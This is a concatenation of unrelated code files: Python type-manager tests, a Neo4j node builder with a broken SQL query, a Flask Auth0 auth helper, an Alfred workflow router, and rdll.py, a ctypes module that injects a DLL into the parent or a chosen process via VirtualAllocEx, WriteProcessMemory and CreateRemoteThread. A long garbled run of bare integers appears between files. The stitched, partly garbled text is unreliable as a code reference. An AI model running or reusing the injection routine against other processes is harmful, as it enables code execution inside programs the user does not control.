DataType(
type='confloat',
is_func=True,
kwargs={'lt': 10.0},
imports=[IMPORT_CONFLOAT],
),
),
(
Types.float,
{'minimum': 10},
DataType(
type='confloat',
is_func=True,
kwargs={'ge': 10.0},
imports=[IMPORT_CONFLOAT],
),
),
(
Types.float,
{'exclusiveMinimum': 10},
DataType(
type='confloat',
is_func=True,
kwargs={'gt': 10.0},
imports=[IMPORT_CONFLOAT],
),
),
(
Types.float,
{'multipleOf': 10},
DataType(
type='confloat',
is_func=True,
kwargs={'multiple_of': 10.0},
imports=[IMPORT_CONFLOAT],
),
),
(
Types.float,
{'exclusiveMinimum': 0},
DataType(type='PositiveFloat', imports=[IMPORT_POSITIVE_FLOAT]),
),
(
Types.float,
{'exclusiveMaximum': 0},
DataType(type='NegativeFloat', imports=[IMPORT_NEGATIVE_FLOAT]),
),
],
)
def test_get_data_float_type(types, params, data_type):
assert DataTypeManager().get_data_float_type(types, **params) == data_type
@pytest.mark.parametrize(
'types,params,data_type',
[
(
Types.decimal,
{},
DataType(
type='Decimal', imports=[Import(from_='decimal', import_='Decimal')]
),
),
(
Types.decimal,
{'maximum': 10},
DataType(
type='condecimal',
is_func=True,
kwargs={'le': 10},
imports=[IMPORT_CONDECIMAL],
),
),
(
Types.decimal,
{'exclusiveMaximum': 10},
DataType(
type='condecimal',
is_func=True,
kwargs={'lt': 10},
imports=[IMPORT_CONDECIMAL],
),
),
(
Types.decimal,
{'minimum': 10},
DataType(
type='condecimal',
is_func=True,
kwargs={'ge': 10},
imports=[IMPORT_CONDECIMAL],
),
),
(
Types.decimal,
{'exclusiveMinimum': 10},
DataType(
type='condecimal',
is_func=True,
kwargs={'gt': 10},
imports=[IMPORT_CONDECIMAL],
),
),
(
Types.decimal,
{'multipleOf': 10},
DataType(
type='condecimal',
is_func=True,
kwargs={'multiple_of': 10},
imports=[IMPORT_CONDECIMAL],
),
),
],
)
def test_get_data_decimal_type(types, params, data_type):
assert DataTypeManager().get_data_decimal_type(types, **params) == data_type
@pytest.mark.parametrize(
'types,params,data_type',
[
(Types.string, {}, DataType(type='str')),
(
Types.string,
{'pattern': '^abc'},
DataType(
type='constr',
is_func=True,
kwargs={'regex': "r'^abc'"},
imports=[IMPORT_CONSTR],
),
),
(
Types.string,
{'minLength': 10},
DataType(
type='constr',
is_func=True,
kwargs={'min_length': 10},
imports=[IMPORT_CONSTR],
),
),
(
Types.string,
{'maxLength': 10},
DataType(
type='constr',
is_func=True,
kwargs={'max_length': 10},
imports=[IMPORT_CONSTR],
),
),
],
)
def test_get_data_str_type(types, params, data_type):
assert DataTypeManager().get_data_str_type(types, **params) == data_type
@pytest.mark.parametrize(
'types,params,data_type',
[
(Types.string, {}, DataType(type='str')),
(Types.integer, {}, DataType(type='int')),
(Types.float, {}, DataType(type='float')),
(Types.boolean, {}, DataType(type='bool')),
(
Types.decimal,
{},
DataType(
type='Decimal', imports=[Import(from_='decimal', import_='Decimal')]
),
),
],
)
def test_get_data_type(types, params, data_type):
assert DataTypeManager().get_data_type(types, **params) == data_type
def test_data_type_type_hint():
assert DataType(type='str').type_hint == 'str'
assert DataType(type='constr', is_func=True).type_hint == 'constr()'
assert (
DataType(type='constr', is_func=True, kwargs={'min_length': 10}).type_hint
== 'constr(min_length=10)'
)
| [
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] |
rk_brain/knowldgegraph/abstract/neo4j_node_builder_abstract.py | ResearchKernel/MachineLearning | 1 | 191624 | <reponame>ResearchKernel/MachineLearning
import logging
logging.basicConfig(format='%(asctime)s : %(levelname)s : %(message)s', level=logging.INFO)
import pandas as pd
import gensim
import pymysql.cursors
from py2neo import authenticate, Graph, Node, Relationship
from multiprocessing import Pool
# set up authentication parameters
authenticate("camelot:7474", "neo4j", "<PASSWORD>")
# connect to authenticated graph database
graph = Graph(password="password")
# Connect to the MYSQL database
connection = pymysql.connect(host='localhost',
user='root',
password='<PASSWORD>',
db='arxivOverload',
charset='utf8mb4',
cursorclass=pymysql.cursors.DictCursor)
# create cursor to MYSQL database
cursor = connection.cursor()
def neo_node_creator(dataframe_list_graph, graph):
'''
Fucntion takes dataframe
Create nodes without any relatioships
'''
for i in dataframe_list_graph:
cypher = graph.begin()
cypher.run('create (id:paper {arxiv_id:"%s"})' % i)
cypher.commit()
if __name__ == "__main__":
# pool = Pool()
# New data fetch query
query = "select arxiv_id, primary_category from arxivOverload.paper_metadata where created_at > '2018-05-11 15:23:09' and ;"
# New data to train
online_dataframe = pd.read_sql(query, con=connection)
# extaacting list from Dataframe
new_arxiv_ids = online_dataframe['arxiv_id'].tolist()
# Creating zip of dataframe and graph
neo_node_creator(new_arxiv_ids, graph)
# pool.map(new_arxiv_ids, neo_node_creator)
# pool.close()
# pool.merge()
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] |
rdll.py | juntalis/python-ctypes-sandbox | 3 | 48643 | # encoding: utf-8
"""
This program is free software. It comes without any warranty, to
the extent permitted by applicable law. You can redistribute it
and/or modify it under the terms of the Do What The Fuck You Want
To Public License, Version 2, as published by Sam Hocevar. See
http://sam.zoy.org/wtfpl/COPYING for more details.
TODO: Make this not suck.
"""
import os
from _ctypes import FUNCFLAG_CDECL as _FUNCFLAG_CDECL,\
FUNCFLAG_STDCALL as _FUNCFLAG_STDCALL,\
FUNCFLAG_PYTHONAPI as _FUNCFLAG_PYTHONAPI,\
FUNCFLAG_USE_ERRNO as _FUNCFLAG_USE_ERRNO,\
FUNCFLAG_USE_LASTERROR as _FUNCFLAG_USE_LASTERROR
from _kernel32 import PLoadLibraryW as PLoadLibrary
from extern import pefile
import functools
from _kernel32 import *
from struct import calcsize as _calcsz
# Utility stuff (decorators/base classes/functions)
def memoize(obj):
"""
From the Python Decorator Library (http://wiki.python.org/moin/PythonDecoratorLibrary):
Cache the results of a function call with specific arguments. Note that this decorator ignores **kwargs.
"""
cache = obj.cache = {}
@functools.wraps(obj)
def memoizer(*args, **kwargs):
if args not in cache:
cache[args] = obj(*args, **kwargs)
return cache[args]
return memoizer
def _find_parent_process():
"""
Obtain the process and thread identifiers of the parent process.
BOOL get_parent_process( LPPROCESS_INFORMATION ppi )
{
HANDLE hSnap;
PROCESSENTRY32 pe;
THREADENTRY32 te;
DWORD id = GetCurrentProcessId();
BOOL fOk;
hSnap = CreateToolhelp32Snapshot( TH32CS_SNAPPROCESS|TH32CS_SNAPTHREAD, id );
if (hSnap == INVALID_HANDLE_VALUE)
return FALSE;
find_proc_id( hSnap, id, &pe );
if (!find_proc_id( hSnap, pe.th32ParentProcessID, &pe ))
{
CloseHandle( hSnap );
return FALSE;
}
te.dwSize = sizeof(te);
for (fOk = Thread32First( hSnap, &te ); fOk; fOk = Thread32Next( hSnap, &te ))
if (te.th32OwnerProcessID == pe.th32ProcessID)
break;
CloseHandle( hSnap );
ppi->dwProcessId = pe.th32ProcessID;
ppi->dwThreadId = te.th32ThreadID;
return fOk;
}
"""
pid = GetCurrentProcessId()
hSnap = CreateToolhelp32Snapshot(PROC_THREAD_SNAPSHOT, 0)
if hSnap == NULL:
raise WinError('Could not create a Toolhelp32Snapshot')
(fOk, pe) = _find_proc_id(hSnap, pid)
if fOk == FALSE:
raise WinError('Could not find current proc')
ppid = pe.th32ParentProcessID
fOk, ppe = _find_proc_id(hSnap, ppid)
if fOk == FALSE:
raise WinError('Could not find parent proc id')
te = THREADENTRY32()
te.dwSize = SZTHREADENTRY
fOk = Thread32First(hSnap, byref(te))
while fOk != FALSE:
if te.th32OwnerProcessID == ppe.th32ProcessID: break
fOk = Thread32Next(hSnap, byref(te))
if fOk == FALSE:
raise WinError('Could not find thread.')
CloseHandle(hSnap)
return ppe.th32ProcessID, te.th32ThreadID
def _find_proc_id(hSnap, pid):
"""
Search each process in the snapshot for id.
BOOL find_proc_id( HANDLE snap, DWORD id, LPPROCESSENTRY32 ppe )
{
BOOL fOk;
ppe->dwSize = sizeof(PROCESSENTRY32);
for (fOk = Process32First( snap, ppe ); fOk; fOk = Process32Next( snap, ppe ))
if (ppe->th32ProcessID == id)
break;
return fOk;
}
"""
ppe = PROCESSENTRY32()
ppe.dwSize = SZPROCESSENTRY
fOk = Process32First(hSnap, byref(ppe))
while fOk != FALSE:
if ppe.th32ProcessID == pid: break
fOk = Process32Next(hSnap, byref(ppe))
return fOk, ppe
def _bypid(pid):
"""
Find a process and it's main thread by its process ID.
"""
hSnap = CreateToolhelp32Snapshot(PROC_THREAD_SNAPSHOT, 0)
if hSnap == NULL: raise WinError('Could not create a Toolhelp32Snapshot')
(fOk, pe) = _find_proc_id(hSnap, pid)
if fOk == FALSE: raise WinError('Could not find process by id: %d' % pid)
# Find the thread
te = THREADENTRY32()
te.dwSize = SZTHREADENTRY
fOk = Thread32First(hSnap, byref(te))
while fOk != FALSE:
if te.th32OwnerProcessID == pe.th32ProcessID: break
fOk = Thread32Next(hSnap, byref(te))
if fOk == FALSE: raise WinError('Could not find thread.')
CloseHandle(hSnap)
return pe.th32ProcessID, te.th32ThreadID
def _pack_args(*args):
""" Pack multiple arguments into """
class _Args(Structure): pass
fields = []
for i, arg in enumerate(args):
fields.append(('arg%d' % i, type(arg),))
_Args._fields_ = fields
Args = _Args()
for i, arg in enumerate(args):
try:
setattr(Args, 'arg%d' % i, arg)
except:
try:
setattr(Args, 'arg%d' % i, arg.value)
except:
setattr(Args, 'arg%d' % i, arg.contents)
return Args
_szp1 = lambda a: len(a) + 1
def _isptr(typ):
return hasattr(typ, '_type_') and (typ._type_ == 'P' or type(typ._type_) != str)
def _pynumtyp2ctype(arg, typ=None):
if typ is None: typ = type(arg)
if typ == int:
if arg < 0:
#ctyp = c_short
#if arg > c_short_max or arg < c_short_min:
ctyp = c_int
if arg > c_int_max or arg < c_int_min:
ctyp = c_longlong if arg > c_long_max or arg < c_long_min else c_long
return ctyp
else:
#ctyp = c_ushort
#if arg > c_ushort_max:
ctyp = c_uint
if arg > c_uint_max:
ctyp = c_ulonglong if arg > c_ulong_max else c_ulong
return ctyp
elif typ == long:
if arg < 0:
return c_longlong if arg > c_long_max or arg < c_long_min else c_long
else:
return c_ulonglong if arg > c_ulong_max else c_ulong
elif typ == float:
ctyp = c_float
try: result = ctyp(arg)
except:
ctyp = c_double
try: result = ctyp(arg)
except: ctyp = c_longdouble
return ctyp
else:
raise Exception('Arg doesnt appear to be a number-type.. Arg: %s Type: %s' % (str(arg), str(typ)))
def _carrtype(val, typ, size, num=True):
buf = typ()
larg = len(val) - 1
for i in range(0, size - 1):
if i > larg: continue
if type(val[i]) in [str, unicode] and num:
val[i] = ord(val[i])
buf[i] = val[i]
return buf
def _pychars2ctype(arg, size = None, typ=None):
if typ is None: typ = type(arg)
if size is None: size = len(arg)
if typ == str:
return c_char_p, create_string_buffer(arg, size)
elif typ == unicode:
return c_wchar_p, create_unicode_buffer(arg, size)
elif typ == buffer:
#noinspection PyTypeChecker
argtype = c_ubyte * size
return argtype, _carrtype(list(arg), argtype, size)
elif typ == bytearray:
size += 1
#noinspection PyTypeChecker,PyUnresolvedReferences
argtype = c_byte * size
return argtype, _carrtype(list(arg), argtype, size - 1)
def py2ctype(arg):
""" TODO: Use this in the allocation/argtype stuff in RCFuncPtr """
typ = type(arg)
if typ in [str, unicode, buffer, bytearray]:
ctyp, cval = _pychars2ctype(arg, typ=typ)
return cval
elif typ in [ int, long, float ]:
ctyp = _pynumtyp2ctype(arg, typ)
return ctyp(arg)
elif typ in [list, set, tuple]:
arg = list(arg)
size = len(arg) + 1
argtype = c_int
numtyp = True
# Only going to handle collections of strings, unicode strings, and numbers
for argi in arg:
typ = type(argi)
if typ in [ str, unicode ]:
argtype, dummy = _pychars2ctype(argi, typ=typ)
numtyp = False
break
elif typ in [ long, int, float ]:
argtype = _pynumtyp2ctype(argi, typ)
if typ == float: numtyp = False
break
return _carrtype(arg, argtype * size, size, num=numtyp)
else:
raise Exception('Dont know what to do with arg.\nArg: %s\nType: %s' % (arg, type(arg)))
class _RCFuncPtr(object):
_addr_ = 0
_flags_ = None
_restype_ = None
_funcptr_ = None
_hprocess_ = None
def _valueof(self, arg):
if not hasattr(arg, '_type_'):
return arg
elif hasattr(arg, 'value'):
return arg.value
elif hasattr(arg, 'contents'):
return arg.contents
else:
return arg
#raise Exception('Don\'t know how to get the value of arg.\nType: %s' % type(arg))
def _valtoargtype(self, arg, argtype):
result = 0
if type(arg) in [str, unicode]:
if argtype == c_char_p:
result = create_string_buffer(arg, len(arg) + 1)
elif argtype == c_wchar_p:
result = create_unicode_buffer(arg, len(arg) + 1)
elif argtype._type_ == c_ubyte:
result = (c_ubyte * len(arg) + 1)()
for i, c in enumerate(arg):
result[i] = c
else:
raise Exception('Don\'t know how to convert string, "%s" into type: %s' % (arg, argtype))
# Array type
elif hasattr(argtype, '_length_')\
or type(argtype._type_) != str: # Pointer type
try:
result = cast(arg, argtype)
except:
result = arg
elif hasattr(argtype, 'value'):
try: result = argtype(arg)
except: result = arg
else:
try: result = cast(arg, c_void_p)
except: result = arg
#raise Exception('Don\'t know how to convert arg to argtype.\nArg: %s\nArgtype: %s' % (arg, argtype))
return result
def _alloc_set_var(self, val):
"""
BOOL alloc_set_varA(LPCSTR* buffer, HANDLE hProcess, LPCSTR val)
{
SIZE_T buflen = (lstrlen(val) + 1) * sizeof(const char);
if (!(*buffer = (LPCSTR) VirtualAllocEx(hProcess, NULL, buflen, MEM_COMMIT, PAGE_READWRITE)))
return_error("Could not allocate memory for our test call.");
if (!WriteProcessMemory(hProcess, (LPVOID)*buffer, (LPCVOID)val, (SIZE_T)buflen, NULL))
return_error("Could write to our remote variable..");
return TRUE;
}
"""
buflen = sizeof(val)
buffer = VirtualAllocEx(self._hprocess_, 0L, buflen, MEM_COMMIT, PAGE_READWRITE)
if buffer == NULL:
raise Exception('Could not allocate our remote buffer.')
try:
if WriteProcessMemory(self._hprocess_, LPCVOID(buffer), val, buflen, ULONG_PTR(0)) == FALSE:
raise Exception('Could not write to our remote variable.')
except ArgumentError:
if WriteProcessMemory(self._hprocess_, LPCVOID(buffer), addressof(val), buflen, ULONG_PTR(0)) == FALSE:
raise Exception('Could not write to our remote variable.')
return buffer
def __call__(self, *more): # real signature unknown; restored from __doc__
""" x.__call__(...) <==> x(...) """
funcptr = self._funcptr_
result = DWORD(0L) if not hasattr(funcptr, 'restype') or funcptr.restype is None else funcptr.restype()
lpParameter = NULL
if not hasattr(funcptr, 'noalloc') or not funcptr.noalloc:
if funcptr.argtypes is not None and len(funcptr.argtypes) > 0:
args = []
argcount = len(more)
for i, argtype in enumerate(funcptr.argtypes):
arg = 0
if i >= argcount:
arg = argtype()
elif hasattr(more[i], '_type_'):
if more[i]._type_ == argtype:
arg = more[i]
else:
arg = self._valtoargtype(self._valueof(more[i]), argtype)
else:
arg = self._valtoargtype(more[i], argtype)
args.append(arg)
if argcount > 1:
lpParameter = _pack_args(*args)
else:
lpParameter = args[0]
if hasattr(lpParameter, '_b_needsfree_') and lpParameter._b_needsfree_ == 1 and bool(lpParameter):
lpParameter = self._alloc_set_var(lpParameter)
elif len(more) > 0:
if len(more) == 1:
lpParameter = cast(more[0], c_void_p)
else:
tlen = len(self.argtypes) if hasattr(self, 'argtypes') else 0
more = list(more)
for i, arg in enumerate(more):
if i > tlen: more[i] = py2ctype(arg)
else:
typ = self.argtypes[i]
if typ == c_char_p:
more[i] = create_string_buffer(arg)
elif typ == c_wchar_p:
more[i] = create_unicode_buffer(arg)
elif _isptr(typ):
more[i] = cast(arg,typ)
else:
more[i] = self.argtypes[i](arg)
lpParameter = _pack_args(*more)
hRemoteThread = CreateRemoteThread(
self._hprocess_, NULL_SECURITY_ATTRIBUTES, 0,
cast(self._addr_, LPTHREAD_START_ROUTINE),
lpParameter, 0L, byref(c_ulong(0L))
)
if hRemoteThread == NULL:
if hasattr(lpParameter, '_b_needsfree_') and lpParameter._b_needsfree_ == 1 and bool(lpParameter):
VirtualFreeEx(self._hprocess_, lpParameter, 0, MEM_RELEASE)
CloseHandle(self._hprocess_)
raise WinError('Failed to start our remote thread.')
WaitForSingleObject(hRemoteThread, INFINITE)
GetExitCodeThread(hRemoteThread, cast(byref(result), LPDWORD))
CloseHandle(hRemoteThread)
if hasattr(lpParameter, '_b_needsfree_') and lpParameter._b_needsfree_ == 1 and bool(lpParameter):
VirtualFreeEx(self._hprocess_, lpParameter, 0, MEM_RELEASE)
return result
def __init__(self, offset, funcid, rdll):
self._addr_ = offset
if self._flags_ == _FUNCFLAG_CDECL:
self._funcptr_ = CFUNCTYPE(self._restype_)
elif self._flags_ == _FUNCFLAG_STDCALL:
self._funcptr_ = WINFUNCTYPE(self._restype_)
elif self._flags_ == _FUNCFLAG_PYTHONAPI:
self._funcptr_ = PYFUNCTYPE(self._restype_)
self._funcptr_._func_flags_ = self._flags_
def __nonzero__(self):
""" x.__nonzero__() <==> x != 0 """
return self._funcptr_.__nonzero__()
def __repr__(self): # real signature unknown; restored from __doc__
""" x.__repr__() <==> repr(x) """
return self._funcptr_.__repr__()
@memoize
def _has(self, key): return key in dir(_RCFuncPtr)
def __setattr__(self, key, value):
if self._has(key):
super(_RCFuncPtr, self).__setattr__(key, value)
else:
setattr(self._funcptr_, key, value)
def __getattr__(self, key):
return super(_RCFuncPtr, self).__getattr__(key) if\
self._has(key) else\
getattr(self._funcptr_, key)
class RCDLL(object):
_func_flags_ = _FUNCFLAG_CDECL
_func_restype_ = c_int
_hprocess_ = 0
_hthread_ = 0
_exports_ = {}
_funcs_ = {}
def __init__(self, name = None, pid = 0, thid = 0, mode = DEFAULT_MODE, handle = None, use_errno = False,
use_last_error = False):
if name is None and handle is None:
raise WindowsError('We need either a name or a handle to a preloaded DLL to create a DLL interface.')
elif name is None:
self._name = GetModuleFileName(handle)
else:
self._name = name
flags = self._func_flags_
if use_errno:
flags |= _FUNCFLAG_USE_ERRNO
if use_last_error:
flags |= _FUNCFLAG_USE_LASTERROR
self._hthread_ = thid
pi, ti = 0, 0
if pid == 0:
check = _find_parent_process()
if check is None:
raise WinError('Failed to open our parent process and no pid specified.')
pi, ti = check
else:
pi, ti = _bypid(pid)
if self._hthread_ == 0:
self._hthread_ = ti
self._hprocess_ = OpenProcess(PROCESS_MOST, FALSE, pi)
class _FuncPtr(_RCFuncPtr):
_flags_ = flags
_restype_ = self._func_restype_
_hprocess_ = self._hprocess_
self._FuncPtr = _FuncPtr
self._handle = self.__inject__()
if self._handle == 0:
raise WindowsError('Could not inject your library: %s' % self._name)
self.__populate_exports__()
def __inject__(self):
val = create_unicode_buffer(self._name, len(self._name) + 1)
buflen = sizeof(val)
buffer = VirtualAllocEx(self._hprocess_, 0L, buflen, MEM_COMMIT, PAGE_READWRITE)
if buffer == NULL:
raise Exception('Could not allocate our remote buffer.')
if WriteProcessMemory(self._hprocess_, buffer, cast(val, LPCVOID), buflen, ULONG_PTR(0)) == FALSE:
raise Exception('Could not write to our remote variable.')
hRemoteThread = CreateRemoteThread(
self._hprocess_, NULL_SECURITY_ATTRIBUTES, 0,
PLoadLibrary, buffer, 0L, byref(c_ulong(0L))
)
if hRemoteThread == NULL:
VirtualFreeEx(self._hprocess_, buffer, 0, MEM_RELEASE)
CloseHandle(self._hprocess_)
raise WinError('Failed to start our remote thread.')
WaitForSingleObject(hRemoteThread, INFINITE)
result = c_ulong(0)
GetExitCodeThread(hRemoteThread, byref(result))
CloseHandle(hRemoteThread)
VirtualFreeEx(self._hprocess_, buffer, 0, MEM_RELEASE)
return result.value
def __populate_exports__(self):
if len(os.path.splitext(self._name)[1].lower()) == 0:
self._name += '.dll'
pe = pefile.PE(self._name, fast_load = True)
direxport = pe.OPTIONAL_HEADER.DATA_DIRECTORY[0]
exportsobj = pe.parse_export_directory(direxport.VirtualAddress, direxport.Size)
pe.close()
for export in exportsobj.symbols:
self._exports_[export.name] =\
self._exports_[export.ordinal] =\
self._handle + export.address
def __repr__(self):
return "<%s '%s', handle %x at %x>" %\
(self.__class__.__name__, self._name,
(self._handle & (_sys.maxint * 2 + 1)),
id(self) & (_sys.maxint * 2 + 1))
def __getattr__(self, name):
if name.startswith('__') and name.endswith('__'):
raise AttributeError(name)
func = self.__getitem__(name)
super(RCDLL, self).__setattr__(name, func)
self._funcs_[name] = func
#setattr(self, name, func)
return func
def __setattr__(self, key, value):
if key in self._exports_.keys():
self._funcs_[key] = value
else:
super(RCDLL, self).__setattr__(key, value)
def __getitem__(self, name_or_ordinal):
if name_or_ordinal in self._funcs_.keys():
return self._funcs_[name_or_ordinal]
ordinal = isinstance(name_or_ordinal, (int, long))
if not self._exports_.has_key(name_or_ordinal):
if ordinal: raise WindowsError('Could not find address of function at ordinal: %d' % name_or_ordinal)
else: raise WindowsError('Could not find address of function named: %s' % name_or_ordinal)
func = self._FuncPtr(self._exports_[name_or_ordinal], name_or_ordinal, self)
if not ordinal:
func.__name__ = name_or_ordinal
return func
class RPyDLL(RCDLL):
"""This class represents the Python library itself. It allows to
access Python API functions. The GIL is not released, and
Python exceptions are handled correctly.
"""
_func_flags_ = _FUNCFLAG_CDECL | _FUNCFLAG_PYTHONAPI
class RWinDLL(RCDLL):
"""This class represents a dll exporting functions using the
Windows stdcall calling convention.
"""
_func_flags_ = _FUNCFLAG_STDCALL
rcdll = LibraryLoader(RCDLL)
rwindll = LibraryLoader(RWinDLL)
rpydll = LibraryLoader(RPyDLL)
if __name__ == '__main__':
testdll = RCDLL('testdll.dll')
Initialize = testdll.Initialize
Initialize.restype = None
Initialize.argtypes = []
Initialize()
testdll.Finalize()
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admit/xmlio/bdpTest.py | astroumd/admit | 4 | 114652 | #! /usr/bin/env python
from admit.bdp import *
import admit.xmlio.dtdGenerator as dtdGenerator
import admit.xmlio.Parser as Parser
import numpy as np
if __name__ == "__main__" :
dtdGenerator.generate()
print "Creating initial class"
cs = CubeStats.CubeStats()
print "Setting initial values"
cs.set("project","cx369")
cs.set("mous","test")
cs.set("sous","test2")
cs.set("date","13-09-10")
cs.set("UID","123456789")
cs.set("xmlFile","cs.225.xml")
cs.stats.setData([[1,2,3,4],[5,6,7,8]])
cs.stats.setColumns(["col1","col2","col3","col4"])
print "Writing xml file"
cs.write()
print "Reading xml file into new class"
p = Parser.Parser(None,"cs.225.xml")
b = p.parse()
print "\n\nComparing classes"
print cs.project,b.project
if(cs.project == b.project) :
print " project OK"
print cs.mous,b.mous
if(cs.mous == b.mous) :
print " mous OK"
print cs.sous,b.sous
if(cs.sous == b.sous) :
print " sous OK"
print cs.date,b.date
if(cs.date == b.date) :
print " date OK"
print cs.UID,b.UID
if(cs.UID == b.UID) :
print " UID OK"
print cs.xmlFile,b.xmlFile
if(cs.xmlFile == b.xmlFile) :
print " xmlFile OK"
print cs.stats.columns,b.stats.columns
if(cs.stats.columns == b.stats.columns) :
print " Columns OK"
print cs.stats.data,b.stats.data
if((cs.stats.data == b.stats.data).all()) :
print " Data OK"
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controller/controller_helper/__init__.py | IDNatte/mygamelist | 0 | 1614272 | """
Controller helper
"""
from flask import current_app
from functools import wraps
from flask import request
from jose import jwt
import requests
import datetime
from model import SystemAuthKey
from shared import db
class AuthError(Exception):
"""
Authentication error
Error related to Authentication.
"""
def __init__(self, name, description, code):
self.name = name
self.code = code
self.description = description
class ServerError(Exception):
"""
Server fault error
Raised during undetermined exception.
"""
def __init__(self, name, description, detail, code):
self.name = name
self.code = code
self.detail = detail
self.description = description
def Auth0Validator(token):
"""
Auth0Validator
non-decorator Auth0 token validator function
"""
try:
url = current_app.config.get('AUTH0_DOMAIN')
wks_url = f'{url}.well-known/jwks.json'
wks_key = requests.get(wks_url)
unverif_token = jwt.get_unverified_header(token)
rsa_key = {}
for k in wks_key.json().get('keys'):
if k.get('kid') == unverif_token.get('kid'):
rsa_key.update({
"kty": k.get("kty"),
"kid": k.get("kid"),
"use": k.get("use"),
"n": k.get("n"),
"e": k.get("e")
})
if rsa_key:
try:
payload = jwt.decode(token,
rsa_key,
algorithms=current_app.config.get('AUTH0_ALGORITHMS'),
audience=current_app.config.get('AUTH0_API_AUDIENCE'),
issuer=url)
return payload
except jwt.ExpiredSignatureError:
raise AuthError('Expired Token', 'token expiration reached', 401)
except jwt.JWTClaimsError:
raise AuthError('Unauthoriozed', 'Unrecognized issuer', 401)
except Exception as e:
raise ServerError('Server Fault', 'Unrecognized server fault', e, 500)
else:
raise AuthError('Unauthoriozed', 'Invalid token entity', 401)
except jwt.JWTError:
raise AuthError('Unauthoriozed', 'Broken jwt payload', 401)
def Auth0Identifier(user):
"""
Auth0 user identificator
non-decorator Auth0 user identificator function
"""
# pylint: disable=maybe-no-member
current_time = datetime.datetime.now()
url = current_app.config.get('AUTH0_DOMAIN')
token_query = SystemAuthKey.query
expired_token = token_query.filter(SystemAuthKey.expiration <= current_time)
token = token_query.order_by(SystemAuthKey.expiration.desc())\
.filter(SystemAuthKey.expiration >= current_time)\
.first()
if token:
counter = token_query.order_by(SystemAuthKey.expiration.desc()).count()
user_data = requests.get(f'{url}api/v2/users/{user}', headers={
"authorization": f'Bearer {token.token}'
})
roles = requests.get(f'{url}api/v2/users/{user}/roles', headers={
"authorization": f'Bearer {token.token}'
})
if counter > 1:
expired_token.delete()
db.session.commit()
return {
"user_id": user_data.json().get('identities')[0].get('user_id'),
"username": user_data.json().get('nickname'),
"email": user_data.json().get('email'),
"picture": user_data.json().get('picture'),
"role": roles.json()[0].get('name')
}
else:
authorize = requests.post(f'{url}oauth/token', data={
"client_id": current_app.config.get('AUTH0_CLIENT'),
"client_secret": current_app.config.get('AUTH0_SECRET'),
"audience": current_app.config.get('AUTH0_SYSTEM_AUDIENCE'),
"grant_type": current_app.config.get('AUTH0_GRANT_TYPE')
})
if authorize.status_code == 200:
token = authorize.json().get('access_token')
token_type = authorize.json().get('token_type')
token_time = datetime.timedelta(seconds=authorize.json().get('expires_in'))
current_time = datetime.datetime.now()
token_expire_time = current_time + token_time
securityToken = SystemAuthKey(token=token, expiration=token_expire_time)
securityToken.save()
user = requests.get(f'{url}api/v2/users/{user}', headers={
"authorization": f'{token_type} {securityToken.token}'
})
return {
"user_id": user.json().get('identities')[0].get('user_id'),
"username": user.json().get('nickname'),
"email": user.json().get('email'),
"picture": user.json().get('picture')
}
else:
raise ServerError('Server Fault',
'Unrecognized server fault',
f'Server transaction error {authorize.status_code}',
500)
def auth_header_parser(headers):
"""
Authorization header parser
"""
parser = headers.split(' ')
if len(parser) == 2:
if 'Bearer' in parser:
return parser[1]
else:
raise AuthError('Unauthoriozed', 'Broken Authorization header', 401)
else:
raise AuthError('Unauthoriozed', 'Missing token', 401)
def rbac_checker(payload, permission):
if payload.get('permissions'):
if permission in payload.get('permissions'):
return True
else:
return False
else:
raise AuthError('Unauthoriozed', 'Permissions unauthorized', 401)
def authenticate(f):
"""
endpoint authentication decorator
"""
@wraps(f)
def authenticate_decorator(*args, **kwargs):
try:
headers = request.headers['Authorization']
token = auth_header_parser(headers)
validator = Auth0Validator(token)
if validator:
user_obj = validator.get('sub')
user_id = Auth0Identifier(user_obj).get('user_id')
return f(user_id, *args, **kwargs)
else:
return False
except KeyError:
raise AuthError('Unauthorized', 'Broken Authorization header', 401)
return authenticate_decorator
def authorize(permission=''):
def authorization_decorator(f):
@wraps(f)
def wrapper_func(*args, **kwargs):
try:
headers = request.headers['Authorization']
token = auth_header_parser(headers)
payload = Auth0Validator(token)
check_permission = rbac_checker(payload, permission)
if check_permission:
return f(*args, **kwargs)
else:
raise AuthError('Unauthoriozed', 'Permissions unauthorized', 401)
except KeyError:
raise AuthError('Unauthoriozed', 'Broken Authorization header', 401)
return wrapper_func
return authorization_decorator
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978,
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1989,
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1989,
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1989,
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1989,
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1964,
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13,
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13,
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877,
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329,
2015,
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525,
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13,
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13,
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13,
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13,
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877,
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329,
2015,
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525,
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13,
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432,
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17755,
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29901,
13,
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12020,
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2392,
877,
29965,
1056,
329,
2015,
601,
24688,
742,
525,
29857,
1717,
432,
14554,
20092,
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29871,
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29900,
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13,
13,
13,
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13,
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13,
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13,
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13,
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13,
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1972,
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1972,
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1972,
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13,
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1972,
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13,
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13,
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13,
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1972,
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13,
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13,
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2015,
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24688,
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525,
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1717,
13361,
2133,
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13,
1678,
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13,
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12020,
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877,
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1056,
329,
2015,
601,
24688,
742,
525,
18552,
292,
5993,
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29871,
29946,
29900,
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13,
13,
13,
1753,
364,
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562,
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261,
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1125,
13,
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565,
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29889,
657,
877,
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13,
4706,
565,
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297,
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29889,
657,
877,
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6847,
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13,
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13,
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29901,
13,
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13,
1678,
1683,
29901,
13,
4706,
12020,
13189,
2392,
877,
29965,
1056,
329,
2015,
601,
24688,
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525,
15737,
6847,
1185,
329,
2015,
1891,
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29871,
29946,
29900,
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13,
13,
13,
1753,
15585,
403,
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13,
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13,
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10760,
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13,
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336,
567,
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13,
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5085,
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1125,
13,
4706,
1018,
29901,
13,
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9066,
353,
2009,
29889,
13662,
1839,
25471,
2033,
13,
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5993,
353,
4817,
29918,
6672,
29918,
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13,
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2854,
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353,
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13,
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565,
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workflow/src/routing.py | mibexsoftware/alfred-stash-workflow | 13 | 10326 | # -*- coding: utf-8 -*-
from src import icons, __version__
from src.actions import HOST_URL
from src.actions.configure import ConfigureWorkflowAction
from src.actions.help import HelpWorkflowAction
from src.actions.index import IndexWorkflowAction
from src.actions.projects import ProjectWorkflowAction
from src.actions.pull_requests import PullRequestWorkflowAction
from src.actions.repositories import RepositoryWorkflowAction
from src.util import workflow, call_alfred
WORKFLOW_ACTIONS = {
':config': ConfigureWorkflowAction,
':projects': ProjectWorkflowAction,
':repos': RepositoryWorkflowAction,
':pullrequests': PullRequestWorkflowAction,
':help': HelpWorkflowAction
}
def route(args): # e.g., args = ":config sethost http://localhost,--exec"
command_string = args[0] # :config sethost http://localhost
command = command_string.split(' ')
if not workflow().settings.get(HOST_URL, None) and 'sethost' not in command:
call_alfred('stash:config sethost ')
return
